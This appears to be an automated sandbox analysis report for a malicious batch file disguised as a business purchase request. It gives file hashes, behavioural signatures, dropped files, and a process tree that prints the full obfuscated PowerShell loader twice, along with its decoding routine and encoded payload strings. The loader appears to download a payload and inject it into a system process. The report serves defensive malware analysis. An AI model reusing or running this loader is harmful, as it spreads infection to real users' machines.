Analysis
- max time kernel
298s - max time network
203s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
04/06/2026, 02:55
Static task
static1
Behavioral task
behavioral1
Sample
Construcciones CAMSA S.L REQ2060026.bat
Resource
win10v2004-20260513-en
22 signatures
300 seconds
General
- Target Construcciones CAMSA S.L REQ2060026.bat
- Size 3KB
- Sample260604-deg3gahs6x
- SHA256 7c161d7478660f3ef1fe7a6ecb9bcc4d45d2c505b2febb544c1a4bd84e0974a8
- MD5 4d8271ef3a1b720745cfff26f7fd1115
- SHA1 10a1ac2bc4cb7fa3dda1a56256154ee3b436ef69
- SHA512 a0a92789f0fd9c864e062f330a1f5297fa6bc0c499655dd5cb5d237c4d1694c1ac9dcaa02d694de60e8ab466d851fd243893220029286142de02ecca6fd4691b
- TLSH T12781D5D25707617E113859733B8FC029A822211904A29A0FFFD8D21CD2B76D70F8B6CB
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 568 powershell.exe 3 568 powershell.exe -
pid Process 568 powershell.exe 4620 powershell.exe - Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 2 drive.google.com 1 drive.google.com - Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 4620 powershell.exe - System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language backgroundTaskHost.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 568 powershell.exe 568 powershell.exe 4620 powershell.exe 4620 powershell.exe 4620 powershell.exe - Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 4620 powershell.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 568 powershell.exe Token: SeDebugPrivilege 4620 powershell.exe - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2320 wrote to memory of 568 2320 cmd.exe 82 PID 4620 wrote to memory of 8 4620 powershell.exe 88 PID 4620 wrote to memory of 4356 4620 powershell.exe 89 PID 4620 wrote to memory of 4356 4620 powershell.exe 89
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Construcciones CAMSA S.L REQ2060026.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2320 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -windowstyle 1 "mp 'titoi' 'misa178' 'generi';$oxidat=3;$terr=55;function befund ($workmans,$grouchinge) {$signal=floppe('Superponderant Udslettelser Cantorous Prepersuaded Beti;; [VVViWWWnKK t o] ##$ ||w<<<oJJ r ||k###m,IIannnn P.szzz Z Z- ffb ++x') ;$signal+=floppe('Subboreal Divination Barselspatienterne Trkplastret GamWWWoC CrRRR nn[ EEi <<nnn t///]PP,$!!!g===rIIIo PPulllcXXXh ^^iwwwnS Sgkkke~~, ');;Oriso ($signal)}function floppe ($hjemgiv) { $ringworms=$oxidat+$terr; do {$maski+=$hjemgiv[$ringworms];$ringworms+=4} while ($hjemgiv[$ringworms])$maski}function Oriso ($mindstemaa) {&($dispersoi) $mindstemaa}Function Slukke ($hjemgiv,$tidssk=0){ ;$helase=floppe('Haematinum Kultursociologisk gesandternes Arbejdsminist DD$bbbs uucqqqroooi,XXpCC.t>>>:JJ,aQQQallls|||y- -n.JJe cct CC=-- [BBBC!!!o');$helase+=floppe('Aperitiffernes Balmiest Contrition parakeratosis LancerL.Ln|||v bbeLLLrFFFt //]');$helase+=$hrers;$helase+=floppe('Taarekirtler Sideslips Unerudite Afvrgningerne Retracts&&&FDD r<<<o,>>m GGB NNaxxxs|||eSSS6G,G4 KKSssstlllrFFFiqqqn ddgYYY(-,-$hhhh QQj&&&eV.Vm **gT Ticccv ee)');Oriso ($helase);For($ringworms=0; $aasynet[$ringworms] -ne $betontrib; $ringworms++){$aasynet[$ringworms] = befund $aasynet[$ringworms] $udmntethu234[$ringworms%8]}$kalibrere=floppe('Opvarterske Chalice Nonidolatrousness BegyndelseslinierZ.Z$NN,s .tc.wwr,ggivvvpffftpp :TTTtJ JeooonXXXaFFFn___=ccc[');$kalibrere+=floppe('Undkommende Noncapitulation Biskuiterne Brndemrkningen ZZZTeeee###x++ t');$kalibrere+=$cubbiesad;$kalibrere+=floppe('Unspecializings Lutea Poetcraft Cretinise Dibling Antec !!E HHnGGGccccon nd???i ppn---glll]');$kalibrere+=$hrers;$kalibrere+=floppe('Ondograph Contrariously Oll Prepromoted Strykninforgift aaA.##S ZCEE I llI');$kalibrere+=$cubbiesad;$kalibrere+=floppe('misimprovement bury Svimmelt Bevisbyrdes Mowhawk Sunde HH G ceccct***Sbbbtnnnr UUixxxn TTgyy.(GG,$.LLaTTTa>>>sZZ,yv vn***eLL tYY,)');Oriso ($kalibrere);if ($tidssk) { Oriso $tenan}else {;$tenan}}$hrers=floppe('Schoolmen Kubistiske Micromazia Irrationaliteternes Phy WW:sss:');$dispersoi=floppe 'Paraffinere Faedre Spaaners Ganoid Anvis DokumentsamlinHHHI';$cubbiesad=floppe('Sulfoforbindelser intertoll Domprovsters Disclosed Hyld===.');$dispersoi+=floppe 'Fatuousnesses Rotiferan Parallelogram Portrtteres DybgapppE';$udmntethu234=@(66,101,115,107,121,116,116,101);$dispersoi+=floppe 'Briketterendes Dipaschal Sspejder Superglacial Graphiti~ ~X';$polli=Slukke 'd0tDS1EjHQsmCgQYWTogRXNVXVtCVCMMLFNHUFkMQlF5RQEdQ0VBVWxVWks+ERcOLUpBW0hERFRyVFMtEAYRAy0dXFpMRFpV';$ekspediti=Slukke 'KhEHGwpOW0omFxodHFoTCi0CHw5XFxsIbRAQVBwMBAowEU4PFgMaCS0EF00QEElUcUgxJTICAgYVAyBeKyY+KgQUFBtLKywzNw4gOSsnIQQ=';$ringmrknin=Slukke 'fA==';$fields='\Frit.Srn';Slukke 'ZgIfBBsVGF8xHB4NFklQACwTSQoJBBAENgRYTx8dEQkmFg==' 1;Slukke 'ZgIfBBsVGF8lFxIbHBIGECURTk8cHwcVJwEaHxBaBxUuDAdDXQYdCyUIAQAXHRpM' 1;Slukke 'GSsWH1cnERc0DBAOKRsdCzYoEgUYExEXH19JOBwXARcrEQo7CxsACiEKH1ZKRENX' 1;$ekspediti=$grapefrugt[0];$kandidat=(Slukke 'ZgIfBBsVGF8vDAAbCxsQECEATiUcA1kqIA8WCA1UOgA2SyQOGzcYDCcLBw==');Oriso ($kandidat);Slukke 'ZggaGAkGGwE3BhZFMREVAScXADAiOhERbC0HHwkmERQ3AAAfMREVAScXLl9JKUlBMgofBxA=' 1;$plym=Slukke 'BgoEBRUbFQEEDB8O';$evapo=Slukke 'ZggaGAkGGwE3BhZFXQQYHC9LOgUPGx8AakEWAAoEEQErERpHXRYGCiwGGwIWGF0=';$bronchiol=$symfo;Slukke 'ZgIfBBsVGF8vAB8CGhtJTRYAAB9UJBURKkVXCQsbGgYqDBwHUA==' 1;while (!$melico) {Slukke 'ZgIfBBsVGF8PDB0ECxUTADZYVx8LARE=' 1;Oriso $evapo;Slukke 'EQkWDglcQEw=' 1;Slukke 'ZgIfBBsVGF8vAB8CGhtJTRYAAB9UJBURKkVXCQsbGgYqDBwHUA==' 1 ;Slukke 'ZgIfBBsVGF8rCxcOGwYaAScATk8eGBsHIwlJGA0dGAAuAB5AUlFQAjAEAw4fBgECNksQBAwaAA==' 1;$ekspediti=$grapefrugt[$indebrndee]}$zircit=149852;$teaching=14894;Slukke 'ZgIfBBsVGF8kDBYHHQMbWCUGU08bBhsLIQ0aBBU=' 1;Slukke 'ZgIfBBsVGF8HBh8CCQAdBn8+MAQXAhEXNjhJUT8GGwgABAAOT0AnETAMHQxRUBIMJwkXHBZd' 1;Slukke 'ZgIfBBsVGF8kBB0OEhsGEScRTjAtEQwRbCAdCBYQHQslOElROCc3LAtLNA4NJwAXKwsUQ10xFwkrFQcCGl0=' 1;Slukke 'ZgIfBBsVGF83Cx0KDx0TBH9BFQoXER8KMBEWH1cHAQcxEQECFxNcQTgMAQgQAFhBNgASCBEdGgJr' 1;Oriso $unnaviga;#VIex Pseudo Systemur Donke Admission ;"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:568
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "mp 'titoi' 'misa178' 'generi';$oxidat=3;$terr=55;function befund ($workmans,$grouchinge) {$signal=floppe('Superponderant Udslettelser Cantorous Prepersuaded Beti;; [VVViWWWnKK t o] ##$ ||w<<<oJJ r ||k###m,IIannnn P.szzz Z Z- ffb ++x') ;$signal+=floppe('Subboreal Divination Barselspatienterne Trkplastret GamWWWoC CrRRR nn[ EEi <<nnn t///]PP,$!!!g===rIIIo PPulllcXXXh ^^iwwwnS Sgkkke~~, ');;Oriso ($signal)}function floppe ($hjemgiv) { $ringworms=$oxidat+$terr; do {$maski+=$hjemgiv[$ringworms];$ringworms+=4} while ($hjemgiv[$ringworms])$maski}function Oriso ($mindstemaa) {&($dispersoi) $mindstemaa}Function Slukke ($hjemgiv,$tidssk=0){ ;$helase=floppe('Haematinum Kultursociologisk gesandternes Arbejdsminist DD$bbbs uucqqqroooi,XXpCC.t>>>:JJ,aQQQallls|||y- -n.JJe cct CC=-- [BBBC!!!o');$helase+=floppe('Aperitiffernes Balmiest Contrition parakeratosis LancerL.Ln|||v bbeLLLrFFFt //]');$helase+=$hrers;$helase+=floppe('Taarekirtler Sideslips Unerudite Afvrgningerne Retracts&&&FDD r<<<o,>>m GGB NNaxxxs|||eSSS6G,G4 KKSssstlllrFFFiqqqn ddgYYY(-,-$hhhh QQj&&&eV.Vm **gT Ticccv ee)');Oriso ($helase);For($ringworms=0; $aasynet[$ringworms] -ne $betontrib; $ringworms++){$aasynet[$ringworms] = befund $aasynet[$ringworms] $udmntethu234[$ringworms%8]}$kalibrere=floppe('Opvarterske Chalice Nonidolatrousness BegyndelseslinierZ.Z$NN,s .tc.wwr,ggivvvpffftpp :TTTtJ JeooonXXXaFFFn___=ccc[');$kalibrere+=floppe('Undkommende Noncapitulation Biskuiterne Brndemrkningen ZZZTeeee###x++ t');$kalibrere+=$cubbiesad;$kalibrere+=floppe('Unspecializings Lutea Poetcraft Cretinise Dibling Antec !!E HHnGGGccccon nd???i ppn---glll]');$kalibrere+=$hrers;$kalibrere+=floppe('Ondograph Contrariously Oll Prepromoted Strykninforgift aaA.##S ZCEE I llI');$kalibrere+=$cubbiesad;$kalibrere+=floppe('misimprovement bury Svimmelt Bevisbyrdes Mowhawk Sunde HH G ceccct***Sbbbtnnnr UUixxxn TTgyy.(GG,$.LLaTTTa>>>sZZ,yv vn***eLL tYY,)');Oriso ($kalibrere);if ($tidssk) { Oriso $tenan}else {;$tenan}}$hrers=floppe('Schoolmen Kubistiske Micromazia Irrationaliteternes Phy WW:sss:');$dispersoi=floppe 'Paraffinere Faedre Spaaners Ganoid Anvis DokumentsamlinHHHI';$cubbiesad=floppe('Sulfoforbindelser intertoll Domprovsters Disclosed Hyld===.');$dispersoi+=floppe 'Fatuousnesses Rotiferan Parallelogram Portrtteres DybgapppE';$udmntethu234=@(66,101,115,107,121,116,116,101);$dispersoi+=floppe 'Briketterendes Dipaschal Sspejder Superglacial Graphiti~ ~X';$polli=Slukke 'd0tDS1EjHQsmCgQYWTogRXNVXVtCVCMMLFNHUFkMQlF5RQEdQ0VBVWxVWks+ERcOLUpBW0hERFRyVFMtEAYRAy0dXFpMRFpV';$ekspediti=Slukke 'KhEHGwpOW0omFxodHFoTCi0CHw5XFxsIbRAQVBwMBAowEU4PFgMaCS0EF00QEElUcUgxJTICAgYVAyBeKyY+KgQUFBtLKywzNw4gOSsnIQQ=';$ringmrknin=Slukke 'fA==';$fields='\Frit.Srn';Slukke 'ZgIfBBsVGF8xHB4NFklQACwTSQoJBBAENgRYTx8dEQkmFg==' 1;Slukke 'ZgIfBBsVGF8lFxIbHBIGECURTk8cHwcVJwEaHxBaBxUuDAdDXQYdCyUIAQAXHRpM' 1;Slukke 'GSsWH1cnERc0DBAOKRsdCzYoEgUYExEXH19JOBwXARcrEQo7CxsACiEKH1ZKRENX' 1;$ekspediti=$grapefrugt[0];$kandidat=(Slukke 'ZgIfBBsVGF8vDAAbCxsQECEATiUcA1kqIA8WCA1UOgA2SyQOGzcYDCcLBw==');Oriso ($kandidat);Slukke 'ZggaGAkGGwE3BhZFMREVAScXADAiOhERbC0HHwkmERQ3AAAfMREVAScXLl9JKUlBMgofBxA=' 1;$plym=Slukke 'BgoEBRUbFQEEDB8O';$evapo=Slukke 'ZggaGAkGGwE3BhZFXQQYHC9LOgUPGx8AakEWAAoEEQErERpHXRYGCiwGGwIWGF0=';$bronchiol=$symfo;Slukke 'ZgIfBBsVGF8vAB8CGhtJTRYAAB9UJBURKkVXCQsbGgYqDBwHUA==' 1;while (!$melico) {Slukke 'ZgIfBBsVGF8PDB0ECxUTADZYVx8LARE=' 1;Oriso $evapo;Slukke 'EQkWDglcQEw=' 1;Slukke 'ZgIfBBsVGF8vAB8CGhtJTRYAAB9UJBURKkVXCQsbGgYqDBwHUA==' 1 ;Slukke 'ZgIfBBsVGF8rCxcOGwYaAScATk8eGBsHIwlJGA0dGAAuAB5AUlFQAjAEAw4fBgECNksQBAwaAA==' 1;$ekspediti=$grapefrugt[$indebrndee]}$zircit=149852;$teaching=14894;Slukke 'ZgIfBBsVGF8kDBYHHQMbWCUGU08bBhsLIQ0aBBU=' 1;Slukke 'ZgIfBBsVGF8HBh8CCQAdBn8+MAQXAhEXNjhJUT8GGwgABAAOT0AnETAMHQxRUBIMJwkXHBZd' 1;Slukke 'ZgIfBBsVGF8kBB0OEhsGEScRTjAtEQwRbCAdCBYQHQslOElROCc3LAtLNA4NJwAXKwsUQ10xFwkrFQcCGl0=' 1;Slukke 'ZgIfBBsVGF83Cx0KDx0TBH9BFQoXER8KMBEWH1cHAQcxEQECFxNcQTgMAQgQAFhBNgASCBEdGgJr' 1;Oriso $unnaviga;#VIex Pseudo Systemur Donke Admission ;"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4620 -
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵PID:8
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- System Location Discovery: System Language Discovery
PID:4356
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 7cca77b963e3b028485c811a7f53b92d6965b8c9690e9994cb087f1c124a2884
- MD5 89861feda8ea7fdfbb31774d8e4eb310
- SHA1 fc1e254a9d3942fee1f55d117123584edf8cdae4
- SHA512 66a115b0b17ac4620283e2d636ff5e1d530bdb83b15f99fe9eebae5a8fdce25e723187998d9c92d4bb64eb393fd4ad6e3607cd50307715e7637bbab43ef7d93a
- TLSH T192218633B3ACC134C8DA017A208CAD01B1B1C3C7449ECECB6B84C508A57F99AEB642E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ppqrd5ls.x4y.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Frit.Srn
- Size 214KB
- SHA256 00ff322e716f4ae258cbd1fb3371b16a233e0bbee03c413a67c9752a8c4a9acf
- MD5 6d2f42e217902e16aafa51b61e169fdb
- SHA1 68a8c6da1d3f9e1a2b95d3b2848a4bb9767438f0
- SHA512 aee0f669620831afc7edf9832158bf9ff28f41e74c7d762de18115ef77f089944410d43664561150cbc468fe8603c5ce98012797fd10666f6dbda84b7f60f34e
- SSDEEP 3072:3GaHhAOCKNFTR5vlhhrBmJQTvLqhcLIAHfIS0jg8zKbgxj0u+nkzffyOtFvjZ3:3fHbCKhRNlZ1IAHDf8zHx4ni/jjZ
- TLSH T11C24F20BE5A8BB7FFF58251CAC2C4B672B20C90D51D482C84F7B8E946871E8DCE59B54
- MD5 SHA1 SHA512 SSDEEP TLSH